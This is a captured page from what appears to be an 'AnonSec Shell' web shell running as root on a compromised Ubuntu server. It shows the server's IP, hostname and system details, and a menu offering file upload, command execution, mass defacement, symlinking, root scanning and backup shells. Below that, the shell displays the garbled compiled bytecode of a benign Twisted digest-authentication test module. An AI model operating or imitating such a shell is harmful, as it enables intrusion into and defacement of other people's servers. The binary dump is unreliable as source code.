AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/cred/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/cred/test/__pycache__/test_digestauth.cpython-310.pyc
o

�b�]�@s�dZddlZddlmZddlmZmZddlmZddl	m
Z
mZmZm
Z
mZddlmZddlmZdd	lmZdd
lmZdd�ZGd
d�de
�ZGdd�de�ZdS)z[
Tests for L{twisted.cred._digest} and the associated bits in
L{twisted.cred.credentials}.
�N)�hexlify)�md5�sha1)�verifyObject)�DigestCredentialFactory�IUsernameDigestHash�calcHA1�calcHA2�calcResponse)�LoginFailed)�IPv4Address)�
networkString)�TestCasecCst�|���S)N)�base64�	b64encode�strip)�s�r�C/usr/lib/python3/dist-packages/twisted/cred/test/test_digestauth.pyrsrcs0eZdZdZ�fdd�Zdd�Zdd�Z�ZS)�FakeDigestCredentialFactoryz\
    A Fake Digest Credential Factory that generates a predictable
    nonce and opaque
    cst�j|i|��d|_dS)N�0)�super�__init__�
privateKey)�self�args�kwargs��	__class__rrr's
z$FakeDigestCredentialFactory.__init__cC�dS)z)
        Generate a static nonce
        s178288758716122392881254770685r�rrrr�_generateNonce+�z*FakeDigestCredentialFactory._generateNoncecCr)z&
        Return a stable time
        rrr rrr�_getTime1r"z$FakeDigestCredentialFactory._getTime)�__name__�
__module__�__qualname__�__doc__rr!r#�
__classcell__rrrrr!s
rc@sZeZdZdZdd�Zdefdd�Zdd�Zd	d
�Zdefdd�Z	defd
d�Z
dd�Zdd�Zdd�Z
dd�Zdefdd�Zdd�Zdd�Zdefdd�Zdd �Zd!d"�ZdOd$d%�Zd&d'�ZdOd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0d1�Zd2d3�Zd4d5�Zd6d7�Zd8d9�Zd:d;�Z d<d=�Z!d>d?�Z"d@dA�Z#dBdC�Z$dDdE�Z%dFdG�Z&dHdI�Z'dJdK�Z(dLdM�Z)dNS)P�DigestAuthTestsz�
    L{TestCase} mixin class which defines a number of tests for
    L{DigestCredentialFactory}.  Because this mixin defines C{setUp}, it
    must be inherited before L{TestCase}.
    cCsRd|_d|_d|_d|_d|_d|_d|_tdd	d
�|_d|_	t
|j|j�|_dS)
z>
        Create a DigestCredentialFactory for testing
        �foobarsbazquuxs
test realm�md5s 29fc54aa1641c6fa0e151419361c8f23�auths/write/�TCPz10.2.3.4iu��GETN)�username�password�realm�	algorithm�cnonce�qop�urir�
clientAddress�methodr�credentialFactoryr rrr�setUp?szDigestAuthTests.setUpr+cCsTd}t||j|j|j||j�}d�|j|j|jf�}t||����}|�||�dS)z�
        L{calcHA1} accepts the C{'md5'} algorithm and returns an MD5 hash of
        its parameters, excluding the nonce and cnonce.
        s	abc123xyz�:N)	rr/r1r0r3�joinr�digest�assertEqual)r�
_algorithm�_hash�nonce�hashA1�a1�expectedrrr�test_MD5HashA1Ns�zDigestAuthTests.test_MD5HashA1cCs~d}td|j|j|j||j�}|jd|jd|j}tt|����}|d|d|j}tt|����}|�||�dS)z�
        L{calcHA1} accepts the C{'md5-sess'} algorithm and returns an MD5 hash
        of its parameters, including the nonce and cnonce.
        s	xyz321abc�md5-sessr:N)	rr/r1r0r3rrr<r=)rr@rArB�ha1rCrrr�test_MD5SessionHashA1[s�z%DigestAuthTests.test_MD5SessionHashA1cC�|�dt�dS)z�
        L{calcHA1} accepts the C{'sha'} algorithm and returns a SHA hash of its
        parameters, excluding the nonce and cnonce.
        �shaN)rDrr rrr�test_SHAHashA1j�zDigestAuthTests.test_SHAHashA1cCsDd}t|||jdd�}|d|j}t||����}|�||�dS)z�
        L{calcHA2} accepts the C{'md5'} algorithm and returns an MD5 hash of
        its arguments, excluding the entity hash for QOP other than
        C{'auth-int'}.
        r.r,Nr:�r	r5rr<r=)rr>r?r7�hashA2�a2rCrrr�test_MD5HashA2Authqs
z"DigestAuthTests.test_MD5HashA2AuthcCsPd}d}t|||jd|�}|d|jd|}t||����}|�||�dS)z�
        L{calcHA2} accepts the C{'md5'} algorithm and returns an MD5 hash of
        its arguments, including the entity hash for QOP of C{'auth-int'}.
        r.s	foobarbazsauth-intr:NrL)rr>r?r7�hentityrMrNrCrrr�test_MD5HashA2AuthInt}sz%DigestAuthTests.test_MD5HashA2AuthIntcC�|�d�dS)z�
        L{calcHA2} accepts the C{'md5-sess'} algorithm and QOP of C{'auth'} and
        returns the same value as it does for the C{'md5'} algorithm.
        rEN)rOr rrr�test_MD5SessHashA2Auth��z&DigestAuthTests.test_MD5SessHashA2AuthcCrR)z�
        L{calcHA2} accepts the C{'md5-sess'} algorithm and QOP of C{'auth-int'}
        and returns the same value as it does for the C{'md5'} algorithm.
        rEN)rQr rrr�test_MD5SessHashA2AuthInt�rTz)DigestAuthTests.test_MD5SessHashA2AuthIntcCrH)z�
        L{calcHA2} accepts the C{'sha'} algorithm and returns a SHA hash of
        its arguments, excluding the entity hash for QOP other than
        C{'auth-int'}.
        rIN)rOrr rrr�test_SHAHashA2Auth��z"DigestAuthTests.test_SHAHashA2AuthcCrH)z�
        L{calcHA2} accepts the C{'sha'} algorithm and returns a SHA hash of
        its arguments, including the entity hash for QOP of C{'auth-int'}.
        rIN)rQrr rrr�test_SHAHashA2AuthInt�rKz%DigestAuthTests.test_SHAHashA2AuthIntc	CsTd}d}d}|d|d|}t||����}t||||ddd�}|�||�dS)z�
        L{calcResponse} accepts the C{'md5'} algorithm and returns an MD5 hash
        of its parameters, excluding the nonce count, client nonce, and QoP
        value if the nonce count and client nonce are L{None}
        �abc123�789xyz�lmnopqr:N�rr<r
r=)	rr>r?rArMr@�responserCr<rrr�test_MD5HashResponse�sz$DigestAuthTests.test_MD5HashResponsecCrR)z�
        L{calcResponse} accepts the C{'md5-sess'} algorithm and returns an MD5
        hash of its parameters, excluding the nonce count, client nonce, and
        QoP value if the nonce count and client nonce are L{None}
        rEN)r^r rrr�test_MD5SessionHashResponse��z+DigestAuthTests.test_MD5SessionHashResponsecCrH)z�
        L{calcResponse} accepts the C{'sha'} algorithm and returns a SHA hash
        of its parameters, excluding the nonce count, client nonce, and QoP
        value if the nonce count and client nonce are L{None}
        rIN)r^rr rrr�test_SHAHashResponse�rWz$DigestAuthTests.test_SHAHashResponsecCsxd}d}d}d}d}d}|d|d|d|d|d|}	t||	����}
t|||||||�}|�|
|�dS)	z�
        L{calcResponse} accepts the C{'md5'} algorithm and returns an MD5 hash
        of its parameters, including the nonce count, client nonce, and QoP
        value if they are specified.
        rYrZr[s00000004s	abcxyz123r,r:Nr\)rr>r?rArMr@�
nonceCount�clientNoncer4r]rCr<rrr�test_MD5HashResponseExtra�sB��������	�
��
�z)DigestAuthTests.test_MD5HashResponseExtracCrR)z�
        L{calcResponse} accepts the C{'md5-sess'} algorithm and returns an MD5
        hash of its parameters, including the nonce count, client nonce, and
        QoP value if they are specified.
        rEN)rdr rrr� test_MD5SessionHashResponseExtra�r`z0DigestAuthTests.test_MD5SessionHashResponseExtracCrH)z�
        L{calcResponse} accepts the C{'sha'} algorithm and returns a SHA hash
        of its parameters, including the nonce count, client nonce, and QoP
        value if they are specified.
        rIN)rdrr rrr�test_SHAHashResponseExtra�rWz)DigestAuthTests.test_SHAHashResponseExtraTcs�d|vr	|j|d<d|vr|j|d<d|vr|j|d<d|vr$|j|d<d|vr-|j|d<d|vr6|j|d<|r;d�nd�d	��fd
d�|��D��S)a�
        Format all given keyword arguments and their values suitably for use as
        the value of an HTTP header.

        @types quotes: C{bool}
        @param quotes: A flag indicating whether to quote the values of each
            field in the response.

        @param **kw: Keywords and C{bytes} values which will be treated as field
            name/value pairs to include in the result.

        @rtype: C{bytes}
        @return: The given fields formatted for use as an HTTP header value.
        r/r1r2r4r3r5�"�s, c	s0g|]\}}|durd�t|�d�|�f��qS)Nrh�=)r;r
)�.0�k�v��quoterr�
<listcomp>s
�z2DigestAuthTests.formatResponse.<locals>.<listcomp>)r/r1r2r4r3r5r;�items)r�quotes�kwrrmr�formatResponse�s(






��zDigestAuthTests.formatResponsec	Csh|�d�}|�d���}|�d�}t||j|j|j||j�}t|d|j|d�}t	||||||j|�}|S)z@
        Calculate the response for the given challenge
        r@r2r4r.N)
�get�lowerrr/r1r0r3r	r5r
)	r�	challenge�ncountr@�algor4rF�ha2rCrrr�getDigestResponses

�z!DigestAuthTests.getDigestResponsecCsz|j�|jj�}d}|j||d|�||�||dd�}|j�||j|jj�}|�|�	|j
��|�|�	|j
d��dS)z�
        L{DigestCredentialFactory.decode} accepts a digest challenge response
        and parses it into an L{IUsernameHashedPassword} provider.
        �00000001r@�opaque)rqr@r]�ncr|�wrongN�r8�getChallenger6�hostrsrz�decoder7�
assertTrue�
checkPasswordr0�assertFalse)rrqrvr}�clientResponse�credsrrr�
test_response.s
��zDigestAuthTests.test_responsecCrR)a
        L{DigestCredentialFactory.decode} accepts a digest challenge response
        which does not quote the values of its fields and parses it into an
        L{IUsernameHashedPassword} provider in the same way it would a
        response which included quoted field values.
        FN)r�r rrr�test_responseWithoutQuotesCsz*DigestAuthTests.test_responseWithoutQuotescCsd|_|�d�dS)z�
        L{DigestCredentialFactory.decode} accepts a digest challenge response
        which quotes the values of its fields and includes a C{b","} in the URI
        field.
        s/some,path/TN)r5r�r rrr�test_responseWithCommaURILsz)DigestAuthTests.test_responseWithCommaURIcCsd|_|��dS)zs
        The case of the algorithm value in the response is ignored when
        checking the credentials.
        sMD5N�r2r�r rrr�test_caseInsensitiveAlgorithmUsz-DigestAuthTests.test_caseInsensitiveAlgorithmcCsd|_|��dS)zV
        The algorithm defaults to MD5 if it is not supplied in the response.
        Nr�r rrr�test_md5DefaultAlgorithm]sz(DigestAuthTests.test_md5DefaultAlgorithmcCsp|j�d�}d}|j|d|�||�||dd�}|j�||jd�}|�|�|j��|�	|�|jd��dS)z�
        L{DigestCredentialFactory.decode} accepts a digest challenge response
        even if the client address it is passed is L{None}.
        Nr{r@r|�r@r]r}r|r~)
r8r�rsrzr�r7r�r�r0r��rrvr}r�r�rrr�test_responseWithoutClientIPds
�z,DigestAuthTests.test_responseWithoutClientIPcCs�|j�|jj�}d}|j|d|�||�||dd�}|j�||j|jj�}|�|�	|j
��|�|�	|j
d��d}|j|d|�||�||dd�}|j�||j|jj�}|�|�	|j
��|�|�	|j
d��dS)zm
        L{DigestCredentialFactory.decode} handles multiple responses to a
        single challenge.
        r{r@r|r�r~s00000002Nrr�rrr�test_multiResponsevs2
��
��z"DigestAuthTests.test_multiResponsecCsv|j�|jj�}d}|j|d|�||�||dd�}|j�|d|jj�}|�|�|j	��|�|�|j	d��dS)a&
        L{DigestCredentialFactory.decode} returns an L{IUsernameHashedPassword}
        provider which rejects a correct password for the given user if the
        challenge response request is made using a different HTTP method than
        was used to request the initial challenge.
        r{r@r|r�sPOSTr~N)
r8r�r6r�rsrzr�r�r�r0r�rrr�test_failsWithDifferentMethod�s
�
�z-DigestAuthTests.test_failsWithDifferentMethodcCsl|�t|jj|jdd�|j|jj�}|�t	|�d�|�t|jj|jdd�|j|jj�}|�t	|�d�dS)z�
        L{DigestCredentialFactory.decode} raises L{LoginFailed} if the response
        has no username field or if the username field is empty.
        N)r/z$Invalid response, no username given.rh�
�assertRaisesrr8r�rsr7r6r�r=�str�r�errr�test_noUsername�s 
�
�zDigestAuthTests.test_noUsernamecCs8|�t|jj|jdd�|j|jj�}|�t	|�d�dS)zo
        L{DigestCredentialFactory.decode} raises L{LoginFailed} if the response
        has no nonce.
        rY)r|z!Invalid response, no nonce given.Nr�r�rrr�test_noNonce�s
�zDigestAuthTests.test_noNoncecCs4|�t|jj|��|j|jj�}|�t	|�d�dS)zp
        L{DigestCredentialFactory.decode} raises L{LoginFailed} if the response
        has no opaque.
        z"Invalid response, no opaque given.Nr�r�rrr�
test_noOpaque�s�zDigestAuthTests.test_noOpaquecCs�|j�|jj�}d}|j|d|�||�||dd�}|j�||j|jj�}|�t	t
|��|jd|jd|j
}t|�}|�|�t|�����|�d�|�|�t|�����dS)z�
        L{DigestCredentialFactory.decode} returns an L{IUsernameDigestHash}
        provider which can verify a hash of the form 'username:realm:password'.
        r{r@r|r�r:r~N)r8r�r6r�rsrzr�r7r�rrr/r1r0r�	checkHashrr<�updater�)rrvr}r�r��	cleartext�hashrrr�test_checkHash�s"
��
zDigestAuthTests.test_checkHashcCst|j|j�}|�|jj�}|�t|jd|d|jj�}|�	t
|�d�dtd�}|�t|j||d|jj�}|�	t
|�d�|�t|jd|d|jj�}|�	t
|�d�dtd�|dt
|jj�df��}|�t|j||d|jj�}|�	t
|�d	�d
S)z�
        L{DigestCredentialFactory.decode} raises L{LoginFailed} when the opaque
        value does not contain all the required parts.
        s	badOpaquer@z&Invalid response, invalid opaque valuesfoo-snonce,clientiprh�,r*z,Invalid response, invalid opaque/time valuesN)rr2r1r�r6r�r�r�
_verifyOpaquer=r�rr;r
)rr8rv�exc�	badOpaquerrr�test_invalidOpaque�sP������z"DigestAuthTests.test_invalidOpaquecCs�t|j|j�}|�|jj�}|�d|jj�}|�t|j	||d|jj�}|�
t|�d�|�t|j	|d|jj�}|�
t|�d�dS)z�
        L{DigestCredentialFactory.decode} raises L{LoginFailed} when the given
        nonce from the response does not match the nonce encoded in the opaque.
        s
1234567890r@z2Invalid response, incompatible opaque/nonce valuesrhN)rr2r1r�r6r��_generateOpaquer�rr�r=r�)rr8rv�badNonceOpaquer�rrr�test_incompatibleNonce1s*���z&DigestAuthTests.test_incompatibleNoncecCs`t|j|j�}|�|jj�}d}|�|jj|�|�|d|�}|�t	|j
||d|jj�dS)z�
        L{DigestCredentialFactory.decode} raises L{LoginFailed} when the
        request comes from a client IP other than what is encoded in the
        opaque.
        z10.0.0.1r@N)rr2r1r�r6r��assertNotEqualr�r�rr�)rr8rv�
badAddressr�rrr�test_incompatibleClientIPOs��z)DigestAuthTests.test_incompatibleClientIPcCs�t|j|j�}|�|jj�}d�|dt|jj�df�}tt	||j
����}t|�}d�||�
d�f�}|�t|j||d|jj�dS)z�
        L{DigestCredentialFactory.decode} raises L{LoginFailed} when the given
        opaque is older than C{DigestCredentialFactory.CHALLENGE_LIFETIME_SECS}
        r�r@s
-137876876�-�
N)rr2r1r�r6r�r;r
rrrr<rrr�rr�)rr8rv�keyr<�ekey�oldNonceOpaquerrr�
test_oldNoncehs��zDigestAuthTests.test_oldNoncecCs~t|j|j�}|�|jj�}d�|dt|jj�df�}tt	|d��
��}d�|t|�f�}|�t
|j||d|jj�dS)z~
        L{DigestCredentialFactory.decode} raises L{LoginFailed} when the opaque
        checksum fails verification.
        r�r@rsthis is not the right pkeyr�N)rr2r1r�r6r�r;r
rrr<rr�rr�)rr8rvr�r<�badChecksumrrr�test_mismatchedOpaqueChecksum�s��z-DigestAuthTests.test_mismatchedOpaqueChecksumcCs6d}|D]\}}}}|jttd|||dd|d�	qdS)z�
        L{calcHA1} raises L{TypeError} when any of the pszUsername, pszRealm,
        or pszPassword arguments are specified with the preHA1 keyword
        argument.
        ))suser�realm�password�preHA1)Nr�Nr�)NNr�r�r+snoncescnonce)�preHA1N)r��	TypeErrorr)r�	arguments�pszUsername�pszRealm�pszPasswordr�rrr�test_incompatibleCalcHA1Options�s��z/DigestAuthTests.test_incompatibleCalcHA1OptionscCs|j�dd�}|�d|�dS)z�
        L{DigestCredentialFactory._generateOpaque} returns a value without
        newlines, regardless of the length of the nonce.
        snlong nonce long nonce long nonce long nonce long nonce long nonce long nonce long nonce long nonce long nonce Nr�)r8r��assertNotIn)rr|rrr�test_noNewlineOpaque�sz$DigestAuthTests.test_noNewlineOpaqueN)T)*r$r%r&r'r9rrDrGrJrOrQrSrUrVrXr^r_rardrerfrsrzr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrr)8sN
!
(
		#3r))r'r�binasciir�hashlibrr�zope.interface.verifyr�twisted.cred.credentialsrrrr	r
�twisted.cred.errorr�twisted.internet.addressr�twisted.python.compatr
�twisted.trial.unittestrrrr)rrrr�<module>s

Anon7 - 2022
AnonSec Team